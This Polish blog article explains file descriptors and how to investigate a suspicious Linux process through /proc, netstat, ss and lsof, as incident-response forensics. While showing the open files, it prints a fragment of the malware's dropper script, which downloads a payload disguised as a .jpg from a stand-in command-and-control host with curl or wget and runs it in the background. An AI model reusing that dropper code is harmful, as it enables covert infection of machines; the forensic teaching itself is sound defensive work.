Badanie szkodliwych procesów za pomocą deskryptorów plików
Napisał: Patryk Krawaczyński
22/03/2021 w Bezpieczeństwo Brak komentarzy. (artykuł nr 777, ilość słów: 1038)
O
d samego początku Uniksa (na którym oparty jest Linux) wszystko jest plikiem. Możemy spierać się o szczegóły, ale w większości przypadków jest to prawda. W dodatku w systemach Unix i pokrewnych systemach operacyjnych istnieje taki obiekt, jak deskryptor pliku (ang. file descriptor – FD, rzadziej fildes), który jest abstrakcyjnym wskaźnikiem / uchwytem (ang. handle) używanym do uzyskiwania dostępu do pliku lub innego zasobu wejścia / wyjścia, takiego jak potok (ang. pipe) lub gniazdo sieciowe (ang. network socket). Deskryptory plików stanowią część interfejsu programowania aplikacji POSIX – są nieujemną liczbą całkowitą, zwykle reprezentowaną w języku programowania C jako typ int
(ang. integer) (wartości ujemne są zarezerwowane, aby wskazać “brak wartości” lub stan błędu).
Każdy proces po uruchomieniu otrzymuje w standardzie trzy deskryptory plików: 0 – standardowe wejście (stdin
), 1 – standardowe wyjście (stdout
) oraz 2 – standardowe wyjście błędów (stderr
). Umożliwiają one procesowi komunikację z innymi procesami, terminalem i przyjmowaniem danych. W tradycyjnej implementacji Uniksa, deskryptory plików dla każdego procesu są indeksowane w tabeli deskryptorów plików utrzymywanej przez jądro. Ta z kolei indeksuje ogólnosystemową tabelę plików otwieranych przez wszystkie procesy – zwaną tabelą plików. Tabela ta rejestruje tryb, w którym plik (lub inny zasób) został otwarty: do odczytu, zapisu, dopisywania i prawdopodobnie innych trybów. Indeksuje również trzecią tabelę zwaną tabelą i-węzłów, która opisuje rzeczywiste pliki. Aby wykonać operację wejścia / wyjścia proces przekazuje deskryptor pliku do jądra poprzez wywołanie systemowe, a jądro uzyskuje dostęp do pliku w imieniu procesu. Proces nie ma bezpośredniego dostępu do pliku ani do tablicy i-węzłów.
W systemie Linux do zestawu deskryptorów plików otwieranych w procesie można uzyskać poprzez ścieżkę /proc/$PID/fd/
, gdzie $PID
jest identyfikatorem procesu.
W systemach uniksopodobnych deskryptory plików mogą odnosić się do dowolnego typu pliku uniksowego wymienionego w systemie plików. Oprócz zwykłych plików obejmuje to również: katalogi, urządzenia blokowe i znakowe (zwane także plikami specjalnymi – oznaczonymi literami “b” i “c”), gniazda domeny Unix (gniazda IPC) i potoki nazwane. Deskryptory plików mogą również odnosić się do innych obiektów, które normalnie nie istnieją w systemie plików, takich jak anonimowe potoki i gniazda sieciowe. Podsumowując – deskryptory plików są tym samym, co numer telefonu, pod który dzwonisz, aby uzyskać kontakt z konkretną osobą, z wyjątkiem tego, że w systemie Linux numer ten daje wskaźnik do pliku. Dlaczego omawiamy deskryptory plików? Ponieważ, jeśli proces jest uruchomiony w systemie możemy szybko zobaczyć, jakie pliki ma otwarte i użyć tych informacji, aby określić czy jest złośliwy i co może robić.
Jak zostało to wcześniej wspomniane, aby znaleźć deskryptory otwartych plików procesu w Linuksie wystarczy udać się do naszego starego przyjaciela – systemu plików /proc
:
root@darkstar:~# ps -auxww | grep kworkerds root 346 0.0 0.0 97712 1412 ? Ss Feb26 0:00 /tmp/kworkerds root@darkstar:~# ls -al /proc/346/fd total 0 dr-x------ 2 root root 0 Mar 22 00:36 . dr-xr-xr-x 9 root root 0 Mar 22 00:33 .. lr-x------ 1 root root 64 Mar 22 00:36 0 -> /bin/httpdns lrwx------ 1 root root 64 Mar 22 00:36 1 -> 'socket:[21178]'
Proces odpalony z tymczasowego katalogu od razu wzbuda podejrzenie. Jak widzimy powyżej posiada on otwarty plik i gniazdo. Plik ma nazwę niespotykanego daemona w systemie Linux. Jeśli chcemy zobaczyć jego zawartość możemy użyć standardowych narzędzi (czyt. cat
) do podglądu plików:
root@darkstar:~# cat /proc/346/fd/0 (...) function downloadrun() { ps=$(netstat -an | grep :56415 | wc -l) if [ $(ps) -eq 0 ]; then if [ ! -f "/tmp/kworkerds" ]; then curl -fsSL --connect-timeout 120 https://CandC.io/x/15660823.jpg -o /tmp/kworkerds chmod +x /tmp/kworkerds if [ ! -f "/tmp/kworkerds" ]; then wget https://CandC.io/x/15660823.jpg -o /tmp/kworkerds chmod +x /tmp/kworkerds fi nohup /tmp/kworkerds > /dev/null 2>&1 & else nohup /tmp/kworkerds > /dev/null 2>&1 & fi fi (...)
Jak widać w powyższym przykładzie możemy bez problemu pobrać i zobaczyć zawartość, ponieważ jest to link do właściwego pliku. Możemy też go sobie skopiować lub stworzyć hash. Najważniejsze jest to, że gdy proces nadal działa, można łatwo sprawdzić, które pliki są otwarte. Dzięki temu możesz szybko zobaczyć, co się dzieje, bez konieczności odtwarzania kodu binarnego, martwego procesu. W przypadku badania procesu na żywo ważne jest, aby pozwolić procesowi powiedzieć, co jest dla nas interesujące – byśmy mogli ocenić, czy jest on złośliwy, czy nie. Szkodliwe procesy często ujawniają się zapisując w dziwnych plikach dane.
Co z otwartym gniazdem? Otwarte gniazdo można również zbadać, używając liczby zawartej w [nawiasach]
(21178), która jest i-węzłem. Możemy go poszukać przez netstat lub ss:
root@darkstar:~# netstat -naplet | grep 21178 tcp 0 0 0.0.0.0:56415 0.0.0.0:* LISTEN 0 21178 346/kworkerds root@darkstar:~# ss -naplet | grep 21178 LISTEN 0 100 0.0.0.0:56415 0.0.0.0:* users:(("kworkerds",pid=346,fd=1)) ino:21178 sk:8 <->
Możemy również użyć polecenia lsof:
root@stardust:~# lsof -nP -i | grep 21178 kworkerds 346 root 1u IPv4 21178 0t0 TCP *:56415 (LISTEN)
Ale czy powinniśmy? Istnieją dwa powody, dla których użycie lsof
może nie być pierwszą rzeczą do zrobienia podczas badania podejrzanego procesu. Po pierwsze – jeśli nie jest zainstalowany na naszej maszynie to nie powinniśmy zmieniać stanu zainfekowanej maszyny przez ładowanie nowych pakietów. Polecenie lsof
nie jest powszechnie używane i jego uruchomienie może ostrzeć złośliwe oprogramowanie lub intruza o obecności śledczych. Ostatnie stiwerdzenie może być nieco akademickie, ale prostsze polecenia typu ls
lub cat
są bardzo powszechne i trudno znaleźć przyczynę dlaczego nie miałby być często używane. Z drugiej strony lsof
jest dość specyficzny i zawsze istnieje ryzyko, że może być celem złosliwego oprogramowania, aby uniknąć wykrycia. To niewielkie ryzyko, ale istnieje.
Więcej informacji: Investigating Linux Process File Descriptors for Incident Response and Forensics, man netstat, man ss, File descriptor